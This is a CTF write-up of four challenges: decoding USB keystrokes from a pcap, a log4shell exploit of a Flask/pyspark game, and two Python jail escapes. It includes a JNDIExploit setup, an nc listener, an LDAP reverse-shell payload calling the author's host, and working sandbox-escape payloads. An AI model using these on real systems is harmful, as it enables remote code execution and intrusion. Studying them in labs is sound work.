This past weekend I competed in the srdnlen CTF with my team
L3ak. There were a handful of challenges that I found fun enough to warrant a writeup, so here goes
Cheese with Friends⌗
Cheese with Friends tells the story of what I can only assume was an LLM’s imagined experiences with Casu Martzu, a particularly gross variety of cheese from Sardinia, the home region of the team hosting this CTF.
The file we’re given is a pcap of USB data, along with a readme file that says
Solving this challenge, keep in mind that the blog post is been writed in a **`.txt` document** on **Visual Studio Code** on **Windows**, with **NUM LOCK enabled**.
Alright, makes sense. The first step was to figure out how to parse the pcap data as keystrokes. It wasn’t very hard to write a script for that using Python and TShark
import sys
from typing import Tuple
non_shift_map = {
0x04: 'a', 0x05: 'b', 0x06: 'c' # you get the idea
}
shift_map = {
0x04: 'A', 0x05: 'B', 0x06: 'C' # much longer
}
alt_code_map = {
32: " ", 33: "!", 34: '"' # truncated
}
alt_chars = []
alt_pressed = False
prev_alt, prev_ctrl, prev_shift = False, False, False
def decode_hid_report(hid_hex: str, prev_scancodes: set) -> Tuple[str, set]:
global alt_chars, alt_pressed,prev_alt, prev_ctrl, prev_shift
hid_hex = hid_hex.replace(' ', '').replace(':', '')
data = bytes.fromhex(hid_hex)
if len(data) == 8:
is_shift = (data[0] & 0x22) != 0
is_alt = (data[0] & 0x44) != 0
is_ctrl = (data[0] & 0x11) != 0
current_scancodes = set(data[2:])
output_chars = []
for scancode in data[2:]:
if scancode == 0 and not is_alt and alt_pressed:
alt_pressed = False
try:
char = alt_code_map.get(int(''.join(alt_chars)), f"[ALT {''.join(alt_chars)}]")
except:
char = f"[ALT UNKNOWN {''.join(alt_chars)}]"
alt_chars = []
elif scancode in prev_scancodes:
continue
else:
if is_shift and is_ctrl and is_alt:
char = f"[CTRL SHIFT ALT + {non_shift_map.get(scancode, f'{{{scancode:02x}}}')}]"
elif is_shift and is_ctrl:
char = f"[CTRL SHIFT + {non_shift_map.get(scancode, f'{{{scancode:02x}}}')}]"
elif is_shift and is_alt:
char = f"[SHIFT ALT + {non_shift_map.get(scancode, f'{{{scancode:02x}}}')}]"
elif is_alt and is_ctrl:
char = f"[CTRL ALT + {non_shift_map.get(scancode, f'{{{scancode:02x}}}')}]"
elif is_shift:
char = shift_map.get(scancode, f'[SHIFT + {{{scancode:02x}}}]')
elif is_alt:
alt_pressed = True
alt_chars.append(non_shift_map.get(scancode, ''))
continue
elif is_ctrl:
char = shift_map.get(scancode, f'[CTRL + {{{scancode:02x}}}]')
else:
char = non_shift_map.get(scancode, f'{{{scancode:02x}}}')
if char == "[ENTER]":
char = "[ENTER]\n"
prev_alt, prev_ctrl, prev_shift = is_alt, is_ctrl, is_shift
output_chars.append(f"{char}")
return ''.join(output_chars), current_scancodes
else:
print(data)
prev_scancodes = set()
output = []
for line in sys.stdin:
line = line.strip()
if not line:
continue
chars, prev_scancodes = decode_hid_report(line, prev_scancodes)
output.append(chars)
print(''.join(output))
This does a couple things. It’s pretty similar to a script I used before for a different challenge, but I noticed pretty quickly that whoever was using this keyboard was using alt-codes to type most special characters (like apostrophes and quotes), which requires using some slightly more complicated logic.
This gave me an output that looked like this
[SHIFT + {00}][SHIFT + {00}][SHIFT + {00}][SHIFT + {00}][SHIFT + {00}][SHIFT + {00}]Blog #17[ENTER]
[ENTER]
Title: My Unsettling Encounter with Casu Martzu.[ENTER]
[ENTER]
I had always considered myself an adventurous eater, eager to try the world's most exotic delicacies.[ENTER]
When I visited Sardinia, the promise of experiencing Casu Martzu - the infamous "rotten cheese", teeming with live maggots - felt like a once-in-a-lifetime opportunity. This wasn't just food; it was a cultural ritual, steeped in tradition and controversy.[ENTER]
However, nothing could prepare me for the reality of facing that wiggling block of pecorino. As the host ceremoniously removed the covering, revealing the cheese alive with larvae, my confidence began to waver.[ENTER]
The smell hit first: a potent, ammonia-like aroma mixed with a hint of decay. My stomach tightened as I stared down at the challenge on my plate, unsure if I could muster the courage.[ENTER]
[ENTER]
When I finally worked up the nerve to take a bite, it was an experience like no other. The taste was a sharp assault on my senses: intensely tangy, rich, and bitter all at once.[ENTER]
I could feel a slight crunch that I tried hard to ignore. I told myself it was part of the cheese's crust, but deep down, I knew better.[ENTER]
To make matters more surreal, I had to constantly guard my plate because the larvae were capable of jumping several inches high. My dining companions laughed, calling it the "dancing cheese", but my nerves were frayed. It wasn't just a meal, it was a gauntlet.[ENTER]
[ENTER]
The texture, though creamy, was complicated by the knowledge of its tiny inhabitants. It seems like this:[ENTER]
*****$%***%*****$$%%$church%*$chu[ENTER]
*%*chu[ENTER]
%%$$chu[TAB]%%****$$chu[TAB]%*%*%*chu[ENTER]
**$$chu[ENTER]
%%$$chu[ENTER]
$$%$%%$$%%&$&$%$%%$$&$&$$chu[ENTER]
$$%$%%*$+$+&$$%$=$$+$%$=$&$&%&chu[TAB]$$&&chu[TAB]$+$$%$%%**$&$chu[ENTER]
&$&$&$&$&$+$%$=$$%$%%&chu[TAB]$$&+$chu[ENTER]
&%*%&chu[TAB]$$&&$chu[ENTER]
&=$=$$[ENTER]
**************$=%=************$$&chu[TAB]%%&******************$$+%+$$[ENTER]
[ENTER]
[BACKSPACE][UP][UP][UP]X[UP][UP][UP][CTRL SHIFT + k][END][ENTER]
[BACKSPACE][KP Up][KP Up][KP Up][KP Up][SHIFT ALT + 2][SHIFT ALT + 2][KP Up][SHIFT ALT + 8][SHIFT ALT + 8][CTRL SHIFT + 1][ENTER]
[BACKSPACE]|[LEFT]C[RIGHT][BACKSPACE][ENTER]
[BACKSPACE]H+[TAB]A/[CTRL ALT + [ENTER]][ESC][END][ENTER]
[ENTER]
Even hours later, I couldn't shake the feeling of Casu Martzu. The taste lingered in my mouth, and my mind replayed the scene like a slow-motion horror film.[ENTER]
Reflecting on it now, I'm not entirely sure if I regret the experience or cherish it for its sheer audacity.[ENTER]
This cheese is banned in many countries for safety reasons, and after trying it, I understand why. But in a strange way, I also respect the Sardinian people for preserving such a raw and unapologetic tradition.[ENTER]
Eating Casu Martzu was disconcerting, to say the least, but it was also an unforgettable reminder of how food can push the boundaries of culture, comfort, and even courage.[ENTER]
[ENTER]
by @Church[ENTER]
I removed a fair amount of the nonsense-looking bits in the middle. It’s somewhat obvious that this is supposed to be ASCII-art of some sort, but how exactly it’s typed and rendered I still had no idea. After trying to type those characters myself, I also realized pretty fast that VSCode-isms such as turning chu+[ENTER]
into church
if church
was already typed would result in this output being much different than it looked like parsed as string data from the pcap.
Instead of trying to do it by hand, I realized that a better way to accomplish my goal would probably be to simply replay the keystrokes into my own VSCode window and see what happened. Doing that was pretty easy after having extracted the keycodes already
import keyboard, time
USAGE_TO_KEY = {
0x04: 'a',
0x05: 'b',
...
0x5E: 'num 6',
0x5F: 'num 7',
0x60: 'num 8', # lots more
}
alt_code_map = {
32: " ", 33: "!", 34: '"' # symbolz
}
def parse_modifiers(mod_byte):
mods = set()
if mod_byte & 0x01:
mods.add('left ctrl')
if mod_byte & 0x02:
mods.add('left shift')
if mod_byte & 0x04:
mods.add('left alt')
if mod_byte & 0x08:
mods.add('left windows')
if mod_byte & 0x10:
mods.add('right ctrl')
if mod_byte & 0x20:
mods.add('right shift')
if mod_byte & 0x40:
mods.add('right alt')
if mod_byte & 0x80:
mods.add('right windows')
return mods
def parse_hid_report(report_bytes):
if len(report_bytes) != 8:
raise ValueError
mod_byte = report_bytes[0]
key_bytes = report_bytes[2:]
mods = set(parse_modifiers(mod_byte))
pressed = set()
for usage_code in key_bytes:
if usage_code != 0:
if usage_code in USAGE_TO_KEY:
pressed.add(USAGE_TO_KEY[usage_code])
else:
print(f"bad code 0x{usage_code:02X}")
return pressed, mods
alt_pressed = False
alt_list = []
raw_alt_list = []
def replay_hid_reports(lines_of_hex, t=0.03):
global alt_pressed, alt_list,raw_alt_list
old_pressed = set()
old_keys = set()
index = 0
for hex_line in lines_of_hex:
if index > 6100:
time.sleep(t)
else:
time.sleep(0.01)
index += 1
hex_line = hex_line.strip()
if not hex_line:
continue
report_bytes = bytes.fromhex(hex_line)
r = parse_hid_report(report_bytes)
new_pressed = r[1]
new_keys = r[0]
print(f"{index}: {new_pressed}, {new_keys}")
if index > 6698:
return
if len(new_pressed) == 1 and all(["alt" in i for i in new_pressed]) and (len(new_keys) > 0 or alt_pressed==True):
alt_pressed = True
[alt_list.append(''.join(k for k in j if k.isnumeric())) for j in new_keys]
[raw_alt_list.append(j) for j in new_keys]
else:
if alt_pressed:
alt_pressed = False
val = ''.join(alt_list)
try:
val = int(val)
charpoint = alt_code_map[val]
new_keys = set()
new_keys.add(charpoint)
for key in old_pressed - new_pressed:
keyboard.release(key)
for key in old_keys - new_keys:
keyboard.release(key)
keyboard.write(charpoint)
alt_list = []
raw_alt_list = []
continue
except:
alt_list = []
raw_alt_list = []
if raw_alt_list == ['num enter']:
keyboard.send('alt+enter')
raw_alt_list = []
for key in old_pressed - new_pressed:
keyboard.release(key)
for key in new_pressed - old_pressed:
keyboard.press(key)
for key in old_keys - new_keys:
keyboard.release(key)
for key in new_keys - old_keys:
keyboard.press(key)
old_pressed = new_pressed
old_keys = new_keys
with open("hex.txt") as f:
data = f.readlines()
datas = [d.split() for d in data]
hexes = [h[0] for h in datas]
time.sleep(2)
print("STARTING")
replay_hid_reports(hexes[0:])
Running this code worked most of the way, but a lot of the hotkeys towards the end didn’t end up being anywhere near consistent enough for my to be confident in their output, so I ended up stopping the script right as it got to that point to do the rest by hand. Here’s a video of it working
I spent a while trying to automate the rest of the keys too, but after here there were only a few hundred more keystrokes of importance to look through, so I decided to do them by hand. I summarized what the various hotkeys and shortcuts do here
delete line 20 (cut)
delete line 17 (ctrl shift k)
go to end
arrow up 4 lines
shift alt 2 (twice)
shift 8
shift alt 8 (twice)
go to end
enter backspace
type pipe char, copy it, delete it
find/replace all + with /
go to end
find/replace all = with \
go to end
find/replace all & with | from clipboard
go to end
type church, ctrl f2 to select all, replace with triple underscore, delete last triple underscore
type %, find/replace all with _, go to end, delete last _
jump to start of line 19
select $, find/replace all with a single space
jump to end
jump to start of line 15
select and replace all * with 3 spaces
I clearly got something a bit wrong, because after these I had something that looked like it should be ASCII art, but was a bit jumbled. Based on context clues I shuffled the rows around myself, and was met with the flag.
srdnlen{R0t73n_5H0r7Cu75}
Sparkling Sky⌗
On first look, this challenge is a Flask application that runs some sort of “game” where a player can move a bird around a playing field.
The challenge description gives the credentials user1337:user1337
to log into the web app. Upon doing so, I was greeted by a message saying “you are #36” in the queue. Refreshing the page, the number seemed to jump around wildly. I couldn’t find any way to actually “play” the game. Looking through the code for what was going on, I found this.
@bp.route('/play')
@login_required
def play():
current_players = User.query.filter_by(is_playing=True).with_entities(User.id).all()
current_players = [user_id[0] for user_id in current_players]
userID = int(current_user.get_id())
if userID in current_players:
return render_template('play.html')
else:
return render_template("spectate.html", position=randint(1, 300))
It seems that if we’re not a “current player”, the game gives us a random number as a spectator index, and renders the spectating page instead of the player page. Looking for places where is_playing
is set, the only place seems to be in utils.py
def init_db():
if User.query.first() is None:
for i in range(10):
username = 'user' + str(userID())
password = ''.join(secrets.choice(string.ascii_uppercase + string.digits) for _ in range(16))
user = User(username=username, password=password, color=secrets.choice(['black', 'blue', 'white', 'green', 'red', 'grey', 'yellow', 'cyan', 'orange', 'pink']), is_playing=True)
db.session.add(user)
db.session.commit()
user = User(username='user1337', password='user1337', color=secrets.choice(['black', 'blue', 'white', 'green', 'red', 'grey', 'yellow', 'cyan', 'orange', 'pink']))
db.session.add(user)
db.session.commit()
This seems to create 10 players with random usernames and passwords, as well as our spectator user. There’s no reasonable way for us to recover these, so I didn’t waste time trying.
Another interesting thing I saw was the file anticheat.py
, which had the following function
def analyze_movement(user_id, new_x, new_y, new_angle):
global user_states
# Initialize user state if not present
if user_id not in user_states:
user_states[user_id] = {
'last_x': new_x,
'last_y': new_y,
'last_time': time.time(),
'violations': 0,
}
user_state = user_states[user_id]
last_x = user_state['last_x']
last_y = user_state['last_y']
last_time = user_state['last_time']
# Calculate distance and time elapsed
distance = math.sqrt((new_x - last_x)**2 + (new_y - last_y)**2)
time_elapsed = time.time() - last_time
speed = distance / time_elapsed if time_elapsed > 0 else 0
print(speed)
# Check for speed violations
if speed > MAX_SPEED:
return True
# Update the user state
user_states[user_id].update({
'last_x': new_x,
'last_y': new_y,
'last_time': time.time(),
})
return False
Clearly this is used for something, there wouldn’t be a point to including it in a tiny challenge like this if it wasn’t important. More importantly, however, was something above the function at the top of the file
from pyspark.sql import SparkSession
log4j_config_path = "log4j.properties"
spark = SparkSession.builder \
.appName("Anticheat") \
.config("spark.driver.extraJavaOptions",
"-Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dlog4j.configuration=file:" + log4j_config_path) \
.config("spark.executor.extraJavaOptions",
"-Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dlog4j.configuration=file:" + log4j_config_path) \
.getOrCreate()
logger = spark._jvm.org.apache.log4j.LogManager.getLogger("Anticheat")
def log_action(user_id, action):
logger.info(f"User: {user_id} - {action}")
Seeing the letters log4j
next to each other in any sort of CTF context is an immediate red flag which makes me stop and think quite hard about if anything involved is vulnerable to log4shell, one of the most impactful and widely-exploited CVEs in recent history. I went and checked the Dockerfile to see what was up, and saw this
RUN cd $(python -c "import os, pyspark; print(os.path.dirname(pyspark.__file__))")/jars && \
rm log4j* && \
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar && \
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.14.1/log4j-api-2.14.1.jar && \
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-slf4j-impl/2.14.1/log4j-slf4j-impl-2.14.1.jar && \
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-1.2-api/2.14.1/log4j-1.2-api-2.14.1.jar
2.14.1
is explicitly a vulnerable version of log4j, as stated by a security notice in a blog post discussing how to use log4j with pyspark. So, this was clearly what the vulnerability was, now to find out how to exploit it. I looked for references to log_action
and found a single candidate that had unsanitized used input involved
@socketio.on('move_bird')
@login_required
def handle_bird_movement(data):
user_id = data.get('user_id')
if user_id in players:
del data['user_id']
if players[user_id] != data:
with lock:
players[user_id] = {
'x': data['x'],
'y': data['y'],
'color': 'black',
'angle': data.get('angle', 0)
}
if analyze_movement(user_id, data['x'], data['y'], data.get('angle', 0)):
log_action(user_id, f"was cheating with final position ({data['x']}, {data['y']}) and final angle: {data['angle']}")
print("cheating")
# del players[user_id] # Remove the player from the game - we are in beta so idc
emit('update_bird_positions', players, broadcast=True)
The Flask server has a websocket component, and this is a part of that. When a player (not a spectator) is marked as “cheating” (moving too fast) by the anticheat function, it writes their information to the log. I took a look around at the rest of the code, and there didn’t seem to be any sort of validation whatsoever on the contents of data['angle']
, so that looked like my target.
It took a second to notice, but this endpoint requires a login, but does not check who the player is currently logged in as. Anyone with an account can move any player, including our specator account. I considered trying to write a websocket solve script in Python, but realized pretty quickly that just using the preexisting socketio symbols in the Chrome devtools console would be a lot easier.
This code was in the frontend Javascript
const socket = io();
I defined the following function
function payload(a){
socket.emit('move_bird', {user_id: 2, x: 0, y: 0, angle: "0"});
socket.emit('move_bird', {user_id: 2, x: 100000, y: 100000, angle: a});
}
Which would take a payload string and trigger an anticheat event with it such that the angle was written to logs. I then took a look at the hacktricks page to figure out how to actually exploit log4shell.
I followed these steps on one of my servers with a public IP
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <my ip> -p 8888
...
nc -l 1337
It was then a super easy matter of setting my payload to ldap://<my ip>:1389/Basic/ReverseShell/<also my ip>/<1337>
and translating player 2’s bird much more rapidly than permitted.
There were some issues with the remote challenge here which resulted in me trying a few different things locally first, but this did end up being the correct solution anyways. Upon running it, I got my shell which let me easily locate and exfiltrate the flag. As I write this the remote challenge is having issues again so I’m unable to get a screenshot of the proper flag, but the exploit did in fact work.
SSPJ⌗
Opening the challenge files, we’re met with what appears to be a fairly standard pyjail
import random
class SSPJ(object):
def __init__(self):
print("Welcome to the Super Secure Python Jail (SSPJ)!")
print("You can run your code here, but be careful not to break the rules...")
self.code = self.code_sanitizer(input("Enter your data: "))
# I'm so confident in my SSPJ that
# I don't even need to delete any globals/builtins
exec(self.code, globals())
return
def code_sanitizer(self, code: str) -> str:
if not code.isascii():
print("Alien material detected... Exiting.")
exit()
banned_chars = [
# Why do you need these characters?
"m", "o", "w", "q", "b", "y", "u", "h", "c", "v", "z", "x", "k"
]
banned_digits = [
# Why do you need these digits?
"0", "7", "1"
]
banned_symbols = [
# You don't need these...
".", "(", "'", "=", "{", ":", "@", '"', "[", "`"
]
banned_words = [
# Oh no, you can't use these words!
"globals", "breakpoint", "locals", "self", "system", "open",
"eval", "import", "exec", "flag", "os", "subprocess", "input",
"random", "builtins", "code_sanitizer"
]
blacklist = banned_chars + banned_digits + banned_symbols + banned_words
random.shuffle(blacklist)
if any(map(lambda c: c in code, blacklist)):
print("Are you trying to cheat me!? Emergency exit in progress.")
exit()
return code.lower()
if __name__ == "__main__":
SSPJ()
RUN mv flag.txt flag-$(head /dev/urandom | md5sum | cut -d ' ' -f 1).txt
...
ENTRYPOINT ["socat", "-t", "300", "-T", "30", "TCP-LISTEN:1717,reuseaddr,nodelay,fork", "EXEC:python3 sspj.py"]
The Dockerfile tells us that the flag is in a randomly named file on the host, meaning that a shell on the remote system is our most likely goal.
Observing the challenge code, we can see that it bans non-ASCII, certain words, symbols, digits, and letters. Notably, __globals__
do still exist in the eval context, which makes things a lot easier.
One of the first things I noticed is that code_sanitizer
performs a lower()
on the input string, but only after the blacklist check happens. This effectively means that there are no banned letters, because we can just sub in uppercase chars for lowercase ones. The easiest way to get a shell in Python without assignments, indexes, or direct function calls is with the import a from b as c
syntax.
The following payload was nearly immediately the obvious solution
FROM OS IMPORT SYSTEM AS __GETATTR__; FROM __MAIN__ IMPORT SH
Running this on remote did in fact give a shell, with which I could fairly easily ls and cat the flag. The below screenshot is from my local instance, because the challenge infrastructure was taken down before I got a chance to write it up. As a bonus, my team got first blood on this challenge, which always feels nice.
Another Impossible Escape⌗
The second and final pyjail of this CTF, this one was a fair bit harder. The challenge code (sans some needless decoration) was as follows
import sys
import re
FLAG = "srdnlen{REDATTO}"
del FLAG
class IE:
def __init__(self) -> None:
print("Welcome to another Impossible Escape!")
print("This time in a limited edition! More information here:", sys.version)
self.try_escape()
return
def code_sanitizer(self, dirty_code: str) -> str:
if len(dirty_code) > 60:
print("Code is too long. Exiting.")
exit()
if not dirty_code.isascii():
print("Alien material detected... Exiting.")
exit()
banned_letters = ["m", "w", "f", "q", "y", "h", "p", "v", "z", "r", "x", "k"]
banned_symbols = [" ", "@", "`", "'", "-", "+", "\\", '"', "*"]
banned_words = ["input", "self", "os", "try_escape", "eval", "breakpoint", "flag", "system", "sys", "escape_plan", "exec"]
if any(map(lambda c: c in dirty_code, banned_letters + banned_symbols + banned_words)):
print("Are you trying to cheat me!? Emergency exit in progress.")
exit()
limited_items = {
".": 1,
"=": 1,
"(": 1,
"_": 4,
}
for item, limit in limited_items.items():
if dirty_code.count(item) > limit:
print("You are trying to break the limits. Exiting.")
exit()
cool_code = dirty_code.replace("\\t", "\t").replace("\\n", "\n")
return cool_code
def escape_plan(self, gadgets: dict = {}) -> None:
self.code = self.code_sanitizer(input("Submit your BEST Escape Plan: ").lower())
retval = eval(self.code, {"__builtins__": {}}, gadgets)
# print(gadgets)
return retval
def try_escape(self) -> None:
tries = max(1, min(7, int(input("How many tries do you need to escape? "))))
for _ in range(tries):
self.escape_plan()
return
if __name__ == "__main__":
print(__file__)
with open(__file__, "r") as file_read:
file_data = re.sub(r"srdnlen{.+}", "srdnlen{REDATTO}", file_read.read(), 1)
with open(__file__, "w") as file_write:
file_write.write(file_data)
IE()
We weren’t given any Dockerfile for this challenge, upon running the program does print out its exact version (3.12.4
) which made finding gadgets easier.
At a first glance, we can see
- We’re given 7 tries to evaluate code in an environment without the standard globals or builtins
- There are a fair number of banned symbols, and no easy way to cheese them like in the previous challenge
- The maximum length of an input is 60, and each input is only allowed a single attribute (
.
), call (()
), assignment (=
), and dunder (__x__
) - The local variables created during one evaluation persist across the rest through the
gadgets
dictionary - The flag is written at the top of the file as a string, but promptly deleted, and then the challenge file is overwritten on disk, such that simply reading the file contents won’t help
While somewhat tedious to work with, it is possible to recover deleted variables in Python in certain contexts using a method like this
import inspect
f = inspect.currentframe()
while f.f_back:
f = f.f_back
print(f.f_code.co_consts)
Doing this does, of course, require a fair amount of nonexistent builtins and banned letters, so we’ll have to be a bit smarter about it.
Tragically, r
is one of our banned characters, so we can’t call the required import
directly, meaning we need some way to build strings to access it indirectly instead.
The easiest way to do this in an incredibly limited environment like this one is to use the __doc__
attribute of certain classes. Again, we’re not allowed the letter r
, so we can’t chr()
and ord()
, string literals are banned because of not allowing quotes, and we’re not given any strings to start off with. The way to create an object without builtins is to use literals, generally speaking (1)
for an int, ()
for a tuple, []
for a list, {1}
for a set, {}
for a dict, and ""
for a string (but obviously the latter is irrelevant here). For my purposes, I found the dict class most useful. Using up only one of our seven shots, I can get a pretty decent string to work with by evaluating
[b:={}.__doc__]
Notably, we need to use the assignment operator from inside a list here instead of just a simple =
because our code is eval
uated, not exec
uted, meaning the expression needs to result in something. After doing this, the value of b
in our gadgets
context is
dict() -> new empty dictionary
dict(mapping) -> new dictionary initialized from a mapping object's
(key, value) pairs
dict(iterable) -> new dictionary initialized as if via:
d = {}
for k, v in iterable:
d[k] = v
dict(**kwargs) -> new dictionary initialized with the name=value pairs
in the keyword argument list. For example: dict(one=1, two=2)
This provides us enough to build the string for breakpoint
without too much trouble. breakpoint
is the first thing I usually shoot for in these sorts of challenges where we need to escape the jail but still remain inside the Python interpreter, because (in modern Python) it’s a builtin, which is usually much easier to get to than other modules.
The standard way to recover builtins in sandboxes like this is to take any class, traverse back to the object
base class with __base__
, and then identify a __subclass__
that still has builtins defined, usually on the __init__
method. Because of both the 60 char line limit and only being allowed to fetch one attribute each time, I needed to do this in parallel with building my string. It took me a bit to figure out a working method, but this ended up fitting my needs fairly well.
[b:={}.__doc__]
[a:=[().__class__,b[11],b[40:42],b[104],b[27]]]
[c:=[a[0].__base__,b[16],b[25],b[3],b[0:0]]]
[d:=[c[0].__subclasses__(),b[132:153:20]]]
[e:=[d[0][100].__init__]]
[g:=c[4].join([d[1],a[1],a[4],a[3],c[1],c[2],a[2],c[3]])]
It’s important here to put the slices of our docstring on earlier lines, because they won’t all fit in the join normally. Doing it like this lets me access a character string with only 4 of my 60 allower characters, as opposed to the 5 or 6 it would normally take with a 2 or 3 digit index. Additionally, this lets me slice multiple letters at a time where possible, such as b[40:42]
to get in
, and b[132:153:20]
to get br
. b[0:0]
is just an empty string that lets me use join()
effectively. I could have condensed more of them, but that didn’t end up being needed. The [100]
‘th subclass here doesn’t actually matter, it just so happened to be one of the subclasses with an __init__
that worked for my needs. After assembling both __init__
and breakpoint
in only 6 lines, the next step is to actually call breakpoint
. My first try looked like this
e[0].__builtins__[g]()
This accesses the __builtins__
attribute (a dictionary) of __init__
, and uses the string breakpoint
as an index to find its code object, which we can then execute with parentheses. Sadly, when I tried this it crashed with
[a:=e[0].__builtins__,a[g[0]]()]
KeyError: '__import__'
This happens because breakpoint()
ends up calling import
behind the scenes, which as a reminder doesn’t exist anymore because of our wiped builtins. It would almost work to replace the 6th and 7th lines of my exploit with
[g:=[c[4].join([d[1],a[1],a[4],a[3],c[1],c[2],a[2],c[3]]),e[0].__builtins__]]
[__builtins__:=g[1],g[1][g[0]]()]
Except for the fact that this both makes the 6th line 80 chars too long, and it uses two .
’s. I tried for a while to sneak the dot from line 6 back into line 7, but to no avail. When I cheated and tested with an 8th intermediary line __builtins__ = e[0].__builtins__
it worked in my test program with a wiped __builtins__
, but I ended up still getting the same import issue when running it in the actual eval
prompt. I decided to give up on this and take a look at what else I could do instead.
The next thing I thought to try here was seeing if there was any way I could get more than 7 eval attempts. If I could, it would vastly increase my options for building strings and recovering functions. IE
is a class that calls the jail method in its __init__
, so if I could instantiate another one of those it would reset my 7 attempts. Helpfully knowing that this is being run on python 3.12.4
, I was able to fairly easily figure out how to get it with an index.
[b:={}.__doc__]
[a:=[().__class__]]
[c:=[a[0].__base__]]
[d:=[c[0].__subclasses__()]]
[e:=[d[0][218]]]
e[0]()
Doing this resets our prompt for another 7 tries, but important keeps our gadgets intact. I tried messing around to see what I could do with this for a bit, and eventually a teammate and I decided on code.inspect
via help()
being the most fruitful.
We used a similar technique to what I’ve already described, but we targeted help()
instead of breakpoint()
, which then let us import code.interact
[a:=().__class__]
[b:=a.__base__]
[c:=b.__subclasses__()]
[d:=c[{158}]()]
[e:=d()]
After doing this, we used the same strategy as before to call IE()
to reset our attempts
[g:=c[{218 + mod}]()]
After which we could build out a string for interact
and call it as such
[i:=b.__subclasses__()[281]]
[j:=i.__subclasses__()[0]]
[l:=j.__init__]
[ins:=(1).__doc__]
[s:=[ins[521:526],ins[445:447],ins[2]]]
[s:=ins[0:0].join(s)]
[n:=l.__globals__[s]()]
This gives us an interactive repl with builtins and globals recovered fully. From here it was a very shrimple process to run
import inspect
f = inspect.currentframe()
while f.f_back:
f = f.f_back
print(f.f_code.co_consts)
Which printed out the flag exactly like we expected.